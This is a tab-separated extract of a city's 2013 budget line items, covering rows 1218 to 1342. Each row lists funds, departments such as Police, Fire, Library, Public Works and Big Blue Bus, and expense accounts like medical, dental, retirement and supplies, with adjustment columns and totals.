1218	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	19081.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19081.0
1219	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2013	7950.0	0	0.0	0.0	0	0	0.0	80	0.0	0	0	0.0	8030.0
1220	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511749.0	VISION	808.0	Salaries and Wages	2013	678.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	678.0
1221	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2013	587927.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	587927.0
1222	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2013	24295.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24295.0
1223	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		UNEMPLOYMENT	804.0	Salaries and Wages	2013	6943.0	0	0.0	59.0	0	0	0.0	70	0.0	0	0	0.0	7072.0
1224	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	4787.0	0	0.0	75.0	0	0	0.0	0	0.0	0	0	0.0	4862.0
1225	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	10761.0	0	0.0	40.0	0	0	0.0	108	0.0	-186	0	0.0	10723.0
1226	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		EAP	804.0	Salaries and Wages	2013	4376.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4376.0
1227	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	26776.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	26776.0
1228	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		UNEMPLOYMENT	808.0	Salaries and Wages	2013	3571.0	0	0.0	0.0	0	0	0.0	36	0.0	0	0	0.0	3607.0
1229	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	5228.0	0	0.0	1200.0	0	0	0.0	528	0.0	0	0	0.0	6956.0
1230	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	5617.0	0	0.0	0.0	0	0	0.0	56	0.0	0	0	0.0	5673.0
1231	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2013	612.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	612.0
1232	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2013	2899.0	0	0.0	0.0	0	0	0.0	29	0.0	0	0	0.0	2928.0
1233	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2013	3624.0	0	0.0	0.0	0	0	0.0	-115	0.0	0	0	0.0	3509.0
1234	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		UNEMPLOYMENT	812.0	Salaries and Wages	2013	11453.0	0	0.0	0.0	0	0	0.0	115	0.0	0	0	0.0	11568.0
1235	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2013	9965.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9965.0
1236	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		DCAP	816.0	Salaries and Wages	2013	216.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	216.0
1237	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2013	1470.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1470.0
1238	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		EAP	816.0	Salaries and Wages	2013	3645.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3645.0
1239	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2013	168410.0	0	0.0	0.0	0	0	0.0	-13694	0.0	0	0	0.0	154716.0
1240	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2013	19100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19100.0
1241	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511773.0	RETIREMENT - MISC. EMPL	840.0	Salaries and Wages	2013	694731.0	0	0.0	2639.0	0	0	0.0	6974	0.0	0	0	0.0	704344.0
1242	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	1267549.0	0	0.0	26122.0	-26122	0	0.0	0	0.0	0	0	0.0	1267549.0
1243	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511743.0	MEDICAL - MISC. EMPL	840.0	Salaries and Wages	2013	313899.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	313899.0
1244	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	96064.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	96064.0
1245	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511748.0	DENTAL	806.0	Salaries and Wages	2013	8769.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8769.0
1246	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511748.0	DENTAL	806.0	Salaries and Wages	2013	64353.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	64353.0
1247	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2013	4250.0	0	0.0	0.0	0	0	0.0	43	0.0	0	0	0.0	4293.0
1248	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2013	17006.0	0	0.0	0.0	0	0	0.0	170	0.0	0	0	0.0	17176.0
1249	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511749.0	VISION	806.0	Salaries and Wages	2013	12590.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12590.0
1250	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511748.0	DENTAL	806.0	Salaries and Wages	2013	14360.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14360.0
1251	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511749.0	VISION	804.0	Salaries and Wages	2013	2040.0	0	0.0	-7.0	0	0	0.0	0	0.0	0	0	0.0	2033.0
1252	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511748.0	DENTAL	804.0	Salaries and Wages	2013	43834.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	43834.0
1253	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511749.0	VISION	816.0	Salaries and Wages	2013	4778.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4778.0
1254	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511774.0	RETIREMENT - AS NEEDED	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	1422	0.0	0	0	0.0	1422.0
1255	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511748.0	DENTAL	808.0	Salaries and Wages	2013	4900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4900.0
1256	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511748.0	DENTAL	812.0	Salaries and Wages	2013	12959.0	0	0.0	0.0	0	0	0.0	-1122	0.0	0	0	0.0	11837.0
1257	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511748.0	DENTAL	812.0	Salaries and Wages	2013	11873.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11873.0
1258	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511749.0	VISION	812.0	Salaries and Wages	2013	1503.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1503.0
1259	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511748.0	DENTAL	840.0	Salaries and Wages	2013	45605.0	0	0.0	-222.0	0	0	0.0	0	0.0	0	0	0.0	45383.0
1260	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511749.0	VISION	840.0	Salaries and Wages	2013	958.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	958.0
1261	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511748.0	DENTAL	808.0	Salaries and Wages	2013	3263.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3263.0
1262	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2013	142457.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	142457.0
1263	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2013	83314.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	83314.0
1264	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2013	221137.0	0	0.0	0.0	0	0	0.0	2211	0.0	0	0	0.0	223348.0
1265	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	367.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	367.0
1266	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	10076.0	0	0.0	0.0	0	0	0.0	401	0.0	0	0	0.0	10477.0
1267	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2013	8833.0	0	0.0	0.0	0	0	0.0	88	0.0	0	0	0.0	8921.0
1268	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		DCAP	804.0	Salaries and Wages	2013	1464.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1464.0
1269	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	24251.0	0	0.0	0.0	0	0	0.0	290	0.0	0	0	0.0	24541.0
1270	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		DCAP	810.0	Salaries and Wages	2013	360.0	0	0.0	120.0	0	0	0.0	36	0.0	0	0	0.0	516.0
1271	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	9222.0	0	0.0	-600.0	0	0	0.0	86	0.0	0	0	0.0	8708.0
1272	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	1844.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1844.0
1273	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		UNEMPLOYMENT	812.0	Salaries and Wages	2013	4097.0	0	0.0	0.0	0	0	0.0	41	0.0	0	0	0.0	4138.0
1274	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		UNEMPLOYMENT	816.0	Salaries and Wages	2013	3672.0	0	0.0	0.0	0	0	0.0	37	0.0	0	0	0.0	3709.0
1275	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		DCAP	816.0	Salaries and Wages	2013	360.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	360.0
1276	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		EAP	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	831	0	0.0	831.0
1277	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		EAP	806.0	Salaries and Wages	2013	9600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9600.0
1278	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2013	16032.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16032.0
1279	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	2882.0	0	0.0	0.0	0	0	0.0	29	0.0	0	0	0.0	2911.0
1280	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	25396.0	0	0.0	0.0	0	0	0.0	254	0.0	0	0	0.0	25650.0
1281	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2013	4212.0	254	0.0	0.0	0	0	0.0	45	0.0	0	0	0.0	4511.0
1282	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		DCAP	808.0	Salaries and Wages	2013	21516.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	21516.0
1283	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		EAP	812.0	Salaries and Wages	2013	3214.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3214.0
1284	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		DISABILITY INSURANCE	812.0	Salaries and Wages	2013	17374.0	0	0.0	0.0	0	0	0.0	174	0.0	0	0	0.0	17548.0
1285	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		UNEMPLOYMENT	816.0	Salaries and Wages	2013	1995.0	0	0.0	0.0	0	0	0.0	20	0.0	0	0	0.0	2015.0
1286	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2013	2509.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2509.0
1287	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		UNEMPLOYMENT	816.0	Salaries and Wages	2013	14442.0	0	0.0	0.0	0	0	0.0	144	0.0	0	0	0.0	14586.0
1288	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2013	9449.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9449.0
1289	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		DCAP	806.0	Salaries and Wages	2013	1512.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1512.0
1290	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		DCAP	806.0	Salaries and Wages	2013	6684.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6684.0
1291	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		DCAP	806.0	Salaries and Wages	2013	924.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	924.0
1292	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2013	2295.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2295.0
1293	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		UNEMPLOYMENT	840.0	Salaries and Wages	2013	18256.0	0	0.0	23.0	0	0	0.0	183	0.0	0	0	0.0	18462.0
1294	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		EAP	840.0	Salaries and Wages	2013	4672.0	0	0.0	-4.0	0	0	0.0	0	0.0	0	0	0.0	4668.0
1295	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		DISABILITY INSURANCE		Salaries and Wages	2013	4273.0	0	0.0	0.0	0	0	0.0	43	0.0	0	0	0.0	4316.0
1296	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER		DISABILITY INSURANCE	840.0	Salaries and Wages	2013	11917.0	0	0.0	0.0	0	0	0.0	119	0.0	0	0	0.0	12036.0
1297	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	2691.0	0	0.0	0.0	0	0	0.0	-134	0.0	0	0	0.0	2557.0
1298	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		UNEMPLOYMENT	808.0	Salaries and Wages	2013	3406.0	0	0.0	0.0	0	0	0.0	-345	0.0	0	0	0.0	3061.0
1299	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT		UNEMPLOYMENT	808.0	Salaries and Wages	2013	5273.0	0	0.0	0.0	0	0	0.0	84	0.0	0	0	0.0	5357.0
1300	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	8165.0	0	0.0	0.0	0	0	0.0	271	0.0	0	0	0.0	8436.0
1301	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2013	6752.0	0	0.0	0.0	0	0	0.0	86	0.0	0	0	0.0	6838.0
1302	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	4849.0	0	0.0	0.0	0	0	0.0	-22	0.0	0	0	0.0	4827.0
1303	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2013	16413.0	0	0.0	0.0	0	0	0.0	164	0.0	0	0	0.0	16577.0
1304	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	1955.0	115	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2070.0
1305	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566991.0	CRIME PREVENTION - DONATION	806.0	 Supplies and Expenses	2013	0.0	0	0.0	1784.0	0	0	0.0	0	0.0	0	0	0.0	1784.0
1306	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400790.0	OUTDOOR DINING-TRANSIT MALL AR	618.0	Rentals	2013	-70155.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-70155.0
1307	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511490.0	OVERTIME	810.0	Salaries and Wages	2013	7794.0	0	0.0	0.0	0	0	0.0	78	0.0	0	0	0.0	7872.0
1308	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2013	40366.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40366.0
1309	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	48374.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	48374.0
1310	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	66504.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	66504.0
1311	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2013	1033.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1033.0
1312	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2013	3500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3500.0
1313	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2013	1859.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1859.0
1314	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562332.0	GROWING PLACE-MPCDC		 Supplies and Expenses	2013	169506.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	169506.0
1315	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	564132.0	INDEPENDENT LIVING SERVICE		 Supplies and Expenses	2013	164130.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	164130.0
1316	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565231.0	GENERAL COMMUNITY LEGAL SRVCES		 Supplies and Expenses	2013	410118.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	410118.0
1317	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565261.0	OPCC-SOJOURN-GENERAL FUND		 Supplies and Expenses	2013	63246.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	63246.0
1318	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2013	7500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7500.0
1319	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2013	17700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17700.0
1320	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2013	1712.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1712.0
1321	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2013	1576564.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1576564.0
1322	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2013	166531.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	166531.0
1323	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2013	8690.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8690.0
1324	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2013	292470.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	292470.0
1325	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2013	207598.0	0	0.0	0.0	0	0	0.0	-21731	0.0	4637	0	0.0	190504.0
1326	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	13867	0	0.0	13867.0
1327	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2013	369205.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	369205.0
1328	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2013	414790.0	0	0.0	0.0	0	0	0.0	4148	0.0	0	0	0.0	418938.0
1329	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2013	103115.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	103115.0
1330	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2013	12167.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12167.0
1331	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2013	109036.0	0	0.0	0.0	0	0	0.0	1090	0.0	0	0	0.0	110126.0
1332	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511748.0	DENTAL	806.0	Salaries and Wages	2013	86374.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	86374.0
1333	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511749.0	VISION	806.0	Salaries and Wages	2013	12377.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12377.0
1334	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511749.0	VISION	806.0	Salaries and Wages	2013	274.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	274.0
1335	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511748.0	DENTAL	816.0	Salaries and Wages	2013	12236.0	0	0.0	0.0	0	0	0.0	-1682	0.0	259	0	0.0	10813.0
1336	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511749.0	VISION	810.0	Salaries and Wages	2013	1096.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1096.0
1337	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2013	4385.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4385.0
1338	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511749.0	VISION	812.0	Salaries and Wages	2013	3070.0	0	0.0	0.0	0	0	0.0	-33	0.0	0	0	0.0	3037.0
1339	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511748.0	DENTAL	812.0	Salaries and Wages	2013	29415.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	29415.0
1340	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2013	559732.0	0	0.0	0.0	0	0	0.0	5597	0.0	0	0	0.0	565329.0
1341	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2013	24333.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24333.0
1342	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2013	76210.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	76210.0
